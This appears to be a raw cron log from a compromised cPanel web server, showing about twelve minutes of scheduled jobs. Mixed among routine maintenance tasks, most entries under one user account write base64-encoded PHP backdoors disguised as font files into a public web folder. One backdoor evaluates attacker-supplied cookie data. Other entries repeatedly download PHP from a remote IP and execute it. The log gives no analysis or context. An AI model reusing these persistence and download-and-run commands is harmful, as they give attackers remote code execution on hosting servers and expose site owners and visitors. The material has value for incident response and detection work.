Sep  4 21:05:01 ip-184-168-122-23 CROND[21100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:05:01 ip-184-168-122-23 CROND[21102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:05:01 ip-184-168-122-23 CROND[21105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:05:01 ip-184-168-122-23 CROND[21106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:05:01 ip-184-168-122-23 CROND[21104]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 21:05:01 ip-184-168-122-23 CROND[21103]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:05:01 ip-184-168-122-23 CROND[21107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:06:01 ip-184-168-122-23 CROND[21282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:06:01 ip-184-168-122-23 CROND[21284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:06:01 ip-184-168-122-23 CROND[21283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:06:01 ip-184-168-122-23 CROND[21286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:06:01 ip-184-168-122-23 CROND[21287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:07:01 ip-184-168-122-23 CROND[21373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:07:01 ip-184-168-122-23 CROND[21375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:07:01 ip-184-168-122-23 CROND[21372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:07:01 ip-184-168-122-23 CROND[21374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:08:01 ip-184-168-122-23 CROND[21470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:08:01 ip-184-168-122-23 CROND[21471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:08:01 ip-184-168-122-23 CROND[21472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:08:01 ip-184-168-122-23 CROND[21476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:08:01 ip-184-168-122-23 CROND[21474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:09:01 ip-184-168-122-23 CROND[21562]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 21:09:01 ip-184-168-122-23 CROND[21563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:09:01 ip-184-168-122-23 CROND[21565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:09:01 ip-184-168-122-23 CROND[21564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:09:01 ip-184-168-122-23 CROND[21567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:10:01 ip-184-168-122-23 CROND[21654]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:10:01 ip-184-168-122-23 CROND[21660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:10:01 ip-184-168-122-23 CROND[21659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:10:01 ip-184-168-122-23 CROND[21657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:10:01 ip-184-168-122-23 CROND[21661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:10:01 ip-184-168-122-23 CROND[21658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:10:01 ip-184-168-122-23 CROND[21664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:10:01 ip-184-168-122-23 CROND[21663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:11:01 ip-184-168-122-23 CROND[21842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:11:01 ip-184-168-122-23 CROND[21844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:11:01 ip-184-168-122-23 CROND[21846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:11:01 ip-184-168-122-23 CROND[21845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:12:01 ip-184-168-122-23 CROND[21922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:12:01 ip-184-168-122-23 CROND[21924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:12:01 ip-184-168-122-23 CROND[21925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:12:01 ip-184-168-122-23 CROND[21926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:12:01 ip-184-168-122-23 CROND[21927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:13:01 ip-184-168-122-23 CROND[22014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:13:01 ip-184-168-122-23 CROND[22015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:13:01 ip-184-168-122-23 CROND[22016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:13:01 ip-184-168-122-23 CROND[22017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:14:01 ip-184-168-122-23 CROND[22101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:14:01 ip-184-168-122-23 CROND[22100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:14:01 ip-184-168-122-23 CROND[22102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:14:01 ip-184-168-122-23 CROND[22103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:14:01 ip-184-168-122-23 CROND[22104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:15:01 ip-184-168-122-23 CROND[22205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:15:01 ip-184-168-122-23 CROND[22206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:15:01 ip-184-168-122-23 CROND[22209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:15:01 ip-184-168-122-23 CROND[22213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:15:01 ip-184-168-122-23 CROND[22214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:15:01 ip-184-168-122-23 CROND[22215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:16:01 ip-184-168-122-23 CROND[22389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:16:01 ip-184-168-122-23 CROND[22390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:16:01 ip-184-168-122-23 CROND[22391]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 21:16:01 ip-184-168-122-23 CROND[22393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:16:01 ip-184-168-122-23 CROND[22392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:16:01 ip-184-168-122-23 CROND[22394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:17:01 ip-184-168-122-23 CROND[22487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
